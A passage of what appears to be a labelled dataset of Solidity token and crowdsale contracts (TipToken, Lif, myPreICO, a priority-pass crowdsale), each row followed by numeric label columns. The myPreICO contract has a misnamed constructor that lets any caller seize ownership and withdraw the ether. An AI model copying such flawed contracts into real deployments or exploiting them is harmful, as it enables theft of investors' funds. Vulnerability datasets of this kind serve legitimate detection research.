require(_crowdsaleWeek2[1] < _crowdsaleWeek3[0]);
require(_crowdsaleWeek3[1] < _crowdsaleWeek4[0]);
seedRound = SaleRound(_seedRound[0], _seedRound[1], _seedRound[2], _seedRound[3], _seedRound[4]);
presale = SaleRound(_presale[0], _presale[1], _presale[2], _presale[3], _presale[4]);
crowdsaleWeek1 = SaleRound(_crowdsaleWeek1[0], _crowdsaleWeek1[1], _crowdsaleWeek1[2], _crowdsaleWeek1[3], _crowdsaleWeek1[4]);
crowdsaleWeek2 = SaleRound(_crowdsaleWeek2[0], _crowdsaleWeek2[1], _crowdsaleWeek2[2], _crowdsaleWeek2[3], _crowdsaleWeek2[4]);
crowdsaleWeek3 = SaleRound(_crowdsaleWeek3[0], _crowdsaleWeek3[1], _crowdsaleWeek3[2], _crowdsaleWeek3[3], _crowdsaleWeek3[4]);
crowdsaleWeek4 = SaleRound(_crowdsaleWeek4[0], _crowdsaleWeek4[1], _crowdsaleWeek4[2], _crowdsaleWeek4[3], _crowdsaleWeek4[4]);
saleRoundsSet = true;
return saleRoundsSet;
}
function getCurrentRound() internal view returns (SaleRound) {
require(saleRoundsSet);
uint256 currentTime = block.timestamp;
if (currentTime > seedRound.start && currentTime <= seedRound.end) {
return seedRound;
} else if (currentTime > presale.start && currentTime <= presale.end) {
return presale;
} else if (currentTime > crowdsaleWeek1.start && currentTime <= crowdsaleWeek1.end) {
return crowdsaleWeek1;
} else if (currentTime > crowdsaleWeek2.start && currentTime <= crowdsaleWeek2.end) {
return crowdsaleWeek2;
} else if (currentTime > crowdsaleWeek3.start && currentTime <= crowdsaleWeek3.end) {
return crowdsaleWeek3;
} else if (currentTime > crowdsaleWeek4.start && currentTime <= crowdsaleWeek4.end) {
return crowdsaleWeek4;
} else {
revert();
}
}
function getCurrentRate() public view returns (uint256) {
require(saleRoundsSet);
SaleRound memory currentRound = getCurrentRound();
return currentRound.rate;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
require(_weiAmount != 0);
uint256 currentRate = getCurrentRate();
require(currentRate != 0);
return currentRate.mul(_weiAmount);
}
}
contract TipToken is ERC865Token, Ownable {
using SafeMath for uint256;
uint256 public constant TOTAL_SUPPLY = 10 ** 9;
string public constant name = "Tip Token";
string public constant symbol = "TIP";
uint8 public constant decimals = 18;
mapping (address => string) aliases;
mapping (string => address) addresses;
constructor() public {
_totalSupply = TOTAL_SUPPLY * (10**uint256(decimals));
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function availableSupply() public view returns (uint256) {
return _totalSupply.sub(balances[owner]).sub(balances[address(0)]);
}
function approveAndCall(address spender, uint256 tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
function setAlias(string alias) public {
aliases[msg.sender] = alias;
addresses[alias] = msg.sender;
}
}
contract TipTokenCrowdsale is MultiRoundCrowdsale, CappedCrowdsale, WhitelistedCrowdsale, AllowanceCrowdsale, PostDeliveryCrowdsale, Pausable {
string public constant name = "Tip Token Crowdsale";
constructor(
ERC20 _token,
address _tokenWallet,
address _vault,
uint256 _cap,
uint256 _start, uint256 _end, uint256 _baseRate
) public
Crowdsale(_baseRate, _vault, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_start, _end)
PostDeliveryCrowdsale()
WhitelistedCrowdsale()
AllowanceCrowdsale(_tokenWallet)
MultiRoundCrowdsale()
{
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused() {
super._preValidatePurchase(_beneficiary, _weiAmount);
SaleRound memory currentRound = getCurrentRound();
require(weiRaised.add(_weiAmount) <= currentRound.roundCap);
require(balances[_beneficiary].add(_weiAmount) >= currentRound.minPurchase);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return MultiRoundCrowdsale._getTokenAmount(_weiAmount);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
AllowanceCrowdsale._deliverTokens(_beneficiary, _tokenAmount);
}
} | 0 | 483 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract LifToken is StandardToken, MintableToken, PausableToken {
string public constant NAME = "Líf";
string public constant SYMBOL = "LIF";
uint public constant DECIMALS = 18;
function burn(uint256 _value) public whenNotPaused {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Transfer(msg.sender, address(0), _value);
}
function burn(address burner, uint256 _value) public onlyOwner {
require(!mintingFinished);
require(_value <= balances[burner]);
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Transfer(burner, address(0), _value);
}
}
contract LifMarketValidationMechanism is Ownable {
using SafeMath for uint256;
LifToken public lifToken;
address public foundationAddr;
uint256 public initialWei;
uint256 public startTimestamp;
uint256 public secondsPerPeriod;
uint8 public totalPeriods;
uint256 public totalWeiClaimed = 0;
uint256 public initialBuyPrice = 0;
uint256 public totalBurnedTokens = 0;
uint256 public totalReimbursedWei = 0;
uint256 public originalTotalSupply;
uint256 constant PRICE_FACTOR = 100000;
bool public funded = false;
bool public paused = false;
uint256 public totalPausedSeconds = 0;
uint256 public pausedTimestamp;
uint256[] public periods;
event Pause();
event Unpause(uint256 pausedSeconds);
event ClaimedWei(uint256 claimedWei);
event SentTokens(address indexed sender, uint256 price, uint256 tokens, uint256 returnedWei);
modifier whenNotPaused(){
assert(!paused);
_;
}
modifier whenPaused(){
assert(paused);
_;
}
function LifMarketValidationMechanism(
address lifAddr, uint256 _startTimestamp, uint256 _secondsPerPeriod,
uint8 _totalPeriods, address _foundationAddr
) {
require(lifAddr != address(0));
require(_startTimestamp > block.timestamp);
require(_secondsPerPeriod > 0);
require(_totalPeriods == 24 || _totalPeriods == 48);
require(_foundationAddr != address(0));
lifToken = LifToken(lifAddr);
startTimestamp = _startTimestamp;
secondsPerPeriod = _secondsPerPeriod;
totalPeriods = _totalPeriods;
foundationAddr = _foundationAddr;
}
function fund() public payable onlyOwner {
assert(!funded);
originalTotalSupply = lifToken.totalSupply();
initialWei = msg.value;
initialBuyPrice = initialWei.
mul(PRICE_FACTOR).
div(originalTotalSupply);
funded = true;
}
function changeToken(address newToken) public onlyOwner {
lifToken = LifToken(newToken);
}
function calculateDistributionPeriods() public {
assert(totalPeriods == 24 || totalPeriods == 48);
assert(periods.length == 0);
uint256[24] memory accumDistribution24 = [
uint256(0), 18, 117, 351, 767, 1407,
2309, 3511, 5047, 6952, 9257, 11995,
15196, 18889, 23104, 27870, 33215, 39166,
45749, 52992, 60921, 69561, 78938, 89076
];
uint256[48] memory accumDistribution48 = [
uint256(0), 3, 18, 54, 117, 214, 351, 534,
767, 1056, 1406, 1822, 2308, 2869, 3510, 4234,
5046, 5950, 6950, 8051, 9256, 10569, 11994, 13535,
15195, 16978, 18888, 20929, 23104, 25416, 27870, 30468,
33214, 36112, 39165, 42376, 45749, 49286, 52992, 56869,
60921, 65150, 69560, 74155, 78937, 83909, 89075, 94438
];
for (uint8 i = 0; i < totalPeriods; i++) {
if (totalPeriods == 24) {
periods.push(accumDistribution24[i]);
} else {
periods.push(accumDistribution48[i]);
}
}
}
function getCurrentPeriodIndex() public view returns(uint256) {
assert(block.timestamp >= startTimestamp);
return block.timestamp.sub(startTimestamp).
sub(totalPausedSeconds).
div(secondsPerPeriod);
}
function getAccumulatedDistributionPercentage() public view returns(uint256 percentage) {
uint256 period = getCurrentPeriodIndex();
assert(period < totalPeriods);
return periods[period];
}
function getBuyPrice() public view returns (uint256 price) {
uint256 accumulatedDistributionPercentage = getAccumulatedDistributionPercentage();
return initialBuyPrice.
mul(PRICE_FACTOR.sub(accumulatedDistributionPercentage)).
div(PRICE_FACTOR);
}
function getMaxClaimableWeiAmount() public view returns (uint256) {
if (isFinished()) {
return this.balance;
} else {
uint256 claimableFromReimbursed = initialBuyPrice.
mul(totalBurnedTokens).div(PRICE_FACTOR).
sub(totalReimbursedWei);
uint256 currentCirculation = lifToken.totalSupply();
uint256 accumulatedDistributionPercentage = getAccumulatedDistributionPercentage();
uint256 maxClaimable = initialWei.
mul(accumulatedDistributionPercentage).div(PRICE_FACTOR).
mul(currentCirculation).div(originalTotalSupply).
add(claimableFromReimbursed);
if (maxClaimable > totalWeiClaimed) {
return maxClaimable.sub(totalWeiClaimed);
} else {
return 0;
}
}
}
function sendTokens(uint256 tokens) public whenNotPaused {
require(tokens > 0);
uint256 price = getBuyPrice();
uint256 totalWei = tokens.mul(price).div(PRICE_FACTOR);
lifToken.transferFrom(msg.sender, address(this), tokens);
lifToken.burn(tokens);
totalBurnedTokens = totalBurnedTokens.add(tokens);
SentTokens(msg.sender, price, tokens, totalWei);
totalReimbursedWei = totalReimbursedWei.add(totalWei);
msg.sender.transfer(totalWei);
}
function isFinished() public view returns (bool finished) {
return getCurrentPeriodIndex() >= totalPeriods;
}
function claimWei(uint256 weiAmount) public whenNotPaused {
require(msg.sender == foundationAddr);
uint256 claimable = getMaxClaimableWeiAmount();
assert(claimable >= weiAmount);
foundationAddr.transfer(weiAmount);
totalWeiClaimed = totalWeiClaimed.add(weiAmount);
ClaimedWei(weiAmount);
}
function pause() public onlyOwner whenNotPaused {
paused = true;
pausedTimestamp = block.timestamp;
Pause();
}
function unpause() public onlyOwner whenPaused {
uint256 pausedSeconds = block.timestamp.sub(pausedTimestamp);
totalPausedSeconds = totalPausedSeconds.add(pausedSeconds);
paused = false;
Unpause(pausedSeconds);
}
}
contract VestedPayment is Ownable {
using SafeMath for uint256;
uint256 public startTimestamp;
uint256 public secondsPerPeriod;
uint256 public totalPeriods;
uint256 public tokens;
uint256 public claimed;
LifToken public token;
uint256 public cliffDuration;
function VestedPayment(
uint256 _startTimestamp, uint256 _secondsPerPeriod,
uint256 _totalPeriods, uint256 _cliffDuration,
uint256 _tokens, address tokenAddress
) {
require(_startTimestamp >= block.timestamp);
require(_secondsPerPeriod > 0);
require(_totalPeriods > 0);
require(tokenAddress != address(0));
require(_cliffDuration < _totalPeriods);
require(_tokens > 0);
startTimestamp = _startTimestamp;
secondsPerPeriod = _secondsPerPeriod;
totalPeriods = _totalPeriods;
cliffDuration = _cliffDuration;
tokens = _tokens;
token = LifToken(tokenAddress);
}
function changeToken(address newToken) public onlyOwner {
token = LifToken(newToken);
}
function getAvailableTokens() public view returns (uint256) {
uint256 period = block.timestamp.sub(startTimestamp)
.div(secondsPerPeriod);
if (period < cliffDuration) {
return 0;
} else if (period >= totalPeriods) {
return tokens.sub(claimed);
} else {
return tokens.mul(period.add(1)).div(totalPeriods).sub(claimed);
}
}
function claimTokens(uint256 amount) public onlyOwner {
assert(getAvailableTokens() >= amount);
claimed = claimed.add(amount);
token.transfer(owner, amount);
}
}
contract LifCrowdsale is Ownable, Pausable {
using SafeMath for uint256;
LifToken public token;
uint256 public startTimestamp;
uint256 public end1Timestamp;
uint256 public end2Timestamp;
address public foundationWallet;
address public foundersWallet;
uint256 public minCapUSD = 5000000;
uint256 public maxFoundationCapUSD = 10000000;
uint256 public MVM24PeriodsCapUSD = 40000000;
uint256 public weiPerUSDinTGE = 0;
uint256 public setWeiLockSeconds = 0;
uint256 public rate1;
uint256 public rate2;
uint256 public weiRaised;
uint256 public tokensSold;
VestedPayment public foundationVestedPayment;
VestedPayment public foundersVestedPayment;
LifMarketValidationMechanism public MVM;
mapping(address => uint256) public purchases;
bool public isFinalized = false;
event Finalized();
event TokenPresalePurchase(address indexed beneficiary, uint256 weiAmount, uint256 rate);
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function LifCrowdsale(
uint256 _startTimestamp,
uint256 _end1Timestamp,
uint256 _end2Timestamp,
uint256 _rate1,
uint256 _rate2,
uint256 _setWeiLockSeconds,
address _foundationWallet,
address _foundersWallet
) {
require(_startTimestamp > block.timestamp);
require(_end1Timestamp > _startTimestamp);
require(_end2Timestamp > _end1Timestamp);
require(_rate1 > 0);
require(_rate2 > 0);
require(_setWeiLockSeconds > 0);
require(_foundationWallet != address(0));
require(_foundersWallet != address(0));
token = new LifToken();
token.pause();
startTimestamp = _startTimestamp;
end1Timestamp = _end1Timestamp;
end2Timestamp = _end2Timestamp;
rate1 = _rate1;
rate2 = _rate2;
setWeiLockSeconds = _setWeiLockSeconds;
foundationWallet = _foundationWallet;
foundersWallet = _foundersWallet;
}
function setWeiPerUSDinTGE(uint256 _weiPerUSD) public onlyOwner {
require(_weiPerUSD > 0);
assert(block.timestamp < startTimestamp.sub(setWeiLockSeconds));
weiPerUSDinTGE = _weiPerUSD;
}
function getRate() public view returns (uint256) {
if (block.timestamp < startTimestamp)
return 0;
else if (block.timestamp <= end1Timestamp)
return rate1;
else if (block.timestamp <= end2Timestamp)
return rate2;
else
return 0;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable whenNotPaused validPurchase {
require(beneficiary != address(0));
assert(weiPerUSDinTGE > 0);
uint256 weiAmount = msg.value;
uint256 rate = getRate();
assert(rate > 0);
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
purchases[beneficiary] = purchases[beneficiary].add(weiAmount);
tokensSold = tokensSold.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
}
function addPrivatePresaleTokens(
address beneficiary, uint256 weiSent, uint256 rate
) public onlyOwner {
require(block.timestamp < startTimestamp);
require(beneficiary != address(0));
require(weiSent > 0);
require(rate > rate1);
uint256 tokens = weiSent.mul(rate);
weiRaised = weiRaised.add(weiSent);
token.mint(beneficiary, tokens);
TokenPresalePurchase(beneficiary, weiSent, rate);
}
function forwardFunds(bool deployMVM) internal {
uint256 foundationBalanceCapWei = maxFoundationCapUSD.mul(weiPerUSDinTGE);
if ((weiRaised <= foundationBalanceCapWei) || !deployMVM) {
foundationWallet.transfer(this.balance);
mintExtraTokens(uint256(24));
} else {
uint256 mmFundBalance = this.balance.sub(foundationBalanceCapWei);
uint8 MVMPeriods = 24;
if (mmFundBalance > MVM24PeriodsCapUSD.mul(weiPerUSDinTGE))
MVMPeriods = 48;
foundationWallet.transfer(foundationBalanceCapWei);
MVM = new LifMarketValidationMechanism(
address(token), block.timestamp.add(30 days), 30 days, MVMPeriods, foundationWallet
);
MVM.calculateDistributionPeriods();
mintExtraTokens(uint256(MVMPeriods));
MVM.fund.value(mmFundBalance)();
MVM.transferOwnership(foundationWallet);
}
}
function mintExtraTokens(uint256 foundationMonthsStart) internal {
uint256 foundersTokens = token.totalSupply().mul(128).div(1000);
uint256 foundationTokens = token.totalSupply().mul(50).div(1000);
uint256 teamTokens = token.totalSupply().mul(72).div(1000);
foundersVestedPayment = new VestedPayment(
block.timestamp, 30 days, 48, 12, foundersTokens, token
);
token.mint(foundersVestedPayment, foundersTokens);
foundersVestedPayment.transferOwnership(foundersWallet);
uint256 foundationPaymentStart = foundationMonthsStart.mul(30 days)
.add(30 days);
foundationVestedPayment = new VestedPayment(
block.timestamp.add(foundationPaymentStart), 30 days,
foundationMonthsStart, 0, foundationTokens, token
);
token.mint(foundationVestedPayment, foundationTokens);
foundationVestedPayment.transferOwnership(foundationWallet);
token.mint(foundationWallet, teamTokens);
}
modifier validPurchase() {
bool withinPeriod = now >= startTimestamp && now <= end2Timestamp;
bool nonZeroPurchase = msg.value != 0;
assert(withinPeriod && nonZeroPurchase);
_;
}
modifier hasEnded() {
assert(block.timestamp > end2Timestamp);
_;
}
function funded() public view returns (bool) {
assert(weiPerUSDinTGE > 0);
return weiRaised >= minCapUSD.mul(weiPerUSDinTGE);
}
function claimEth() public whenNotPaused hasEnded {
require(isFinalized);
require(!funded());
uint256 toReturn = purchases[msg.sender];
assert(toReturn > 0);
purchases[msg.sender] = 0;
msg.sender.transfer(toReturn);
}
function returnPurchase(address contributor)
public hasEnded onlyOwner
{
require(!isFinalized);
uint256 toReturn = purchases[contributor];
assert(toReturn > 0);
uint256 tokenBalance = token.balanceOf(contributor);
weiRaised = weiRaised.sub(toReturn);
tokensSold = tokensSold.sub(tokenBalance);
token.burn(contributor, tokenBalance);
purchases[contributor] = 0;
contributor.transfer(toReturn);
}
function finalize(bool deployMVM) public onlyOwner hasEnded {
require(!isFinalized);
if (funded()) {
forwardFunds(deployMVM);
token.finishMinting();
token.transferOwnership(owner);
}
Finalized();
isFinalized = true;
}
}
contract TGEDeployer {
LifCrowdsale public crowdsale;
address public wallet;
address public owner;
function TGEDeployer(
uint256 startTimestamp,
uint256 end1Timestamp,
uint256 end2Timestamp,
uint256 rate1,
uint256 rate2,
uint256 setWeiLockSeconds,
address foundationWallet,
address foundersWallet
) public {
crowdsale = new LifCrowdsale(
startTimestamp, end1Timestamp, end2Timestamp, rate1, rate2,
setWeiLockSeconds, foundationWallet, foundersWallet
);
wallet = foundationWallet;
owner = msg.sender;
}
function addPresaleTokens(address[] contributors, uint256[] values, uint256 rate) public {
require(msg.sender == owner);
require(contributors.length == values.length);
for (uint32 i = 0; i < contributors.length; i ++) {
crowdsale.addPrivatePresaleTokens(contributors[i], values[i], rate);
}
}
function finish(uint256 weiPerUSDinTGE) public {
require(msg.sender == owner);
crowdsale.setWeiPerUSDinTGE(weiPerUSDinTGE);
crowdsale.transferOwnership(wallet);
}
} | 1 | 3,554 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract myPreICO is Ownable {
uint public ETHRaised;
uint public soft_cap = 1 ether;
uint public hard_cap = 10 ether;
address public owner = 0x0;
uint public end_date;
address[] public holders;
mapping (address => uint) public holder_balance;
function myICO() public {
owner = msg.sender;
end_date = now + 90 days;
}
function sendFunds(address _addr) public onlyOwner {
require (ETHRaised >= soft_cap);
_addr.transfer(address(this).balance);
}
function withdraw() public {
uint amount;
require(now > end_date);
require(ETHRaised < hard_cap);
amount = holder_balance[msg.sender];
holder_balance[msg.sender] = 0;
msg.sender.transfer(amount);
}
function () public payable {
require(msg.value > 0);
holders.push(msg.sender);
holder_balance[msg.sender] += msg.value;
ETHRaised += msg.value;
}
function getFunds() public view returns (uint){
return address(this).balance;
}
} | 0 | 1,219 |
pragma solidity ^0.4.13;
contract ReentrnacyHandlingContract{
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
}
contract Owned {
address public owner;
address public newOwner;
function Owned() public{
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
contract IToken {
function totalSupply() public constant returns (uint256 totalSupply);
function mintTokens(address _to, uint256 _amount) public {}
}
contract IERC20Token {
function totalSupply() public constant returns (uint256 totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) public returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {}
function approve(address _spender, uint256 _value) public returns (bool success) {}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Crowdsale is ReentrnacyHandlingContract, Owned{
struct ContributorData{
uint priorityPassAllowance;
bool isActive;
uint contributionAmount;
uint tokensIssued;
}
mapping(address => ContributorData) public contributorList;
uint public nextContributorIndex;
mapping(uint => address) public contributorIndexes;
state public crowdsaleState = state.pendingStart;
enum state { pendingStart, priorityPass, openedPriorityPass, crowdsale, crowdsaleEnded }
uint public presaleStartTime;
uint public presaleUnlimitedStartTime;
uint public crowdsaleStartTime;
uint public crowdsaleEndedTime;
event PresaleStarted(uint blockTime);
event PresaleUnlimitedStarted(uint blockTime);
event CrowdsaleStarted(uint blockTime);
event CrowdsaleEnded(uint blockTime);
event ErrorSendingETH(address to, uint amount);
event MinCapReached(uint blockTime);
event MaxCapReached(uint blockTime);
event ContributionMade(address indexed contributor, uint amount);
IToken token = IToken(0x0);
uint ethToTokenConversion;
uint public minCap;
uint public maxP1Cap;
uint public maxCap;
uint public ethRaised;
address public multisigAddress;
uint nextContributorToClaim;
mapping(address => bool) hasClaimedEthWhenFail;
uint public maxTokenSupply;
bool public ownerHasClaimedTokens;
uint public presaleBonusTokens;
address public presaleBonusAddress;
address public presaleBonusAddressColdStorage;
bool public presaleBonusTokensClaimed;
function() public noReentrancy payable{
require(msg.value != 0);
require(crowdsaleState != state.crowdsaleEnded);
bool stateChanged = checkCrowdsaleState();
if (crowdsaleState == state.priorityPass){
if (contributorList[msg.sender].isActive){
processTransaction(msg.sender, msg.value);
}else{
refundTransaction(stateChanged);
}
}
else if(crowdsaleState == state.openedPriorityPass){
if (contributorList[msg.sender].isActive){
processTransaction(msg.sender, msg.value);
}else{
refundTransaction(stateChanged);
}
}
else if(crowdsaleState == state.crowdsale){
processTransaction(msg.sender, msg.value);
}
else{
refundTransaction(stateChanged);
}
}
function checkCrowdsaleState() internal returns (bool){
if (ethRaised == maxCap && crowdsaleState != state.crowdsaleEnded){
crowdsaleState = state.crowdsaleEnded;
MaxCapReached(block.timestamp);
CrowdsaleEnded(block.timestamp);
return true;
}
if (block.timestamp > presaleStartTime && block.timestamp <= presaleUnlimitedStartTime){
if (crowdsaleState != state.priorityPass){
crowdsaleState = state.priorityPass;
PresaleStarted(block.timestamp);
return true;
}
}else if(block.timestamp > presaleUnlimitedStartTime && block.timestamp <= crowdsaleStartTime){
if (crowdsaleState != state.openedPriorityPass){
crowdsaleState = state.openedPriorityPass;
PresaleUnlimitedStarted(block.timestamp);
return true;
}
}else if(block.timestamp > crowdsaleStartTime && block.timestamp <= crowdsaleEndedTime){
if (crowdsaleState != state.crowdsale){
crowdsaleState = state.crowdsale;
CrowdsaleStarted(block.timestamp);
return true;
}
}else{
if (crowdsaleState != state.crowdsaleEnded && block.timestamp > crowdsaleEndedTime){
crowdsaleState = state.crowdsaleEnded;
CrowdsaleEnded(block.timestamp);
return true;
}
}
return false;
}
function refundTransaction(bool _stateChanged) internal{
if (_stateChanged){
msg.sender.transfer(msg.value);
}else{
revert();
}
}
function calculateMaxContribution(address _contributor) constant returns (uint maxContribution){
uint maxContrib;
if (crowdsaleState == state.priorityPass){
maxContrib = contributorList[_contributor].priorityPassAllowance - contributorList[_contributor].contributionAmount;
if (maxContrib > (maxP1Cap - ethRaised)){
maxContrib = maxP1Cap - ethRaised;
}
}
else{
maxContrib = maxCap - ethRaised;
}
return maxContrib;
}
function processTransaction(address _contributor, uint _amount) internal{
uint maxContribution = calculateMaxContribution(_contributor);
uint contributionAmount = _amount;
uint returnAmount = 0;
if (maxContribution < _amount){
contributionAmount = maxContribution;
returnAmount = _amount - maxContribution;
}
if (ethRaised + contributionAmount > minCap && minCap > ethRaised) MinCapReached(block.timestamp);
if (contributorList[_contributor].isActive == false){
contributorList[_contributor].isActive = true;
contributorList[_contributor].contributionAmount = contributionAmount;
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex++;
}
else{
contributorList[_contributor].contributionAmount += contributionAmount;
}
ethRaised += contributionAmount;
ContributionMade(msg.sender, contributionAmount);
uint tokenAmount = contributionAmount * ethToTokenConversion;
if (tokenAmount > 0){
token.mintTokens(_contributor, tokenAmount);
contributorList[_contributor].tokensIssued += tokenAmount;
}
if (returnAmount != 0) _contributor.transfer(returnAmount);
}
function editContributors(address[] _contributorAddresses, uint[] _contributorPPAllowances) public onlyOwner{
require(_contributorAddresses.length == _contributorPPAllowances.length);
for(uint cnt = 0; cnt < _contributorAddresses.length; cnt++){
if (contributorList[_contributorAddresses[cnt]].isActive){
contributorList[_contributorAddresses[cnt]].priorityPassAllowance = _contributorPPAllowances[cnt];
}
else{
contributorList[_contributorAddresses[cnt]].isActive = true;
contributorList[_contributorAddresses[cnt]].priorityPassAllowance = _contributorPPAllowances[cnt];
contributorIndexes[nextContributorIndex] = _contributorAddresses[cnt];
nextContributorIndex++;
}
}
}
function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) public onlyOwner{
IERC20Token(_tokenAddress).transfer(_to, _amount);
}
function withdrawEth() onlyOwner public {
require(this.balance != 0);
require(ethRaised >= minCap);
pendingEthWithdrawal = this.balance;
}
uint public pendingEthWithdrawal;
function pullBalance() public {
require(msg.sender == multisigAddress);
require(pendingEthWithdrawal > 0);
multisigAddress.transfer(pendingEthWithdrawal);
pendingEthWithdrawal = 0;
}
function claimEthIfFailed() public {
require(block.timestamp > crowdsaleEndedTime && ethRaised < minCap);
require(contributorList[msg.sender].contributionAmount > 0);
require(!hasClaimedEthWhenFail[msg.sender]);
uint ethContributed = contributorList[msg.sender].contributionAmount;
hasClaimedEthWhenFail[msg.sender] = true;
if (!msg.sender.send(ethContributed)){
ErrorSendingETH(msg.sender, ethContributed);
}
}
function batchReturnEthIfFailed(uint _numberOfReturns) public onlyOwner{
require(block.timestamp > crowdsaleEndedTime && ethRaised < minCap);
address currentParticipantAddress;
uint contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++){
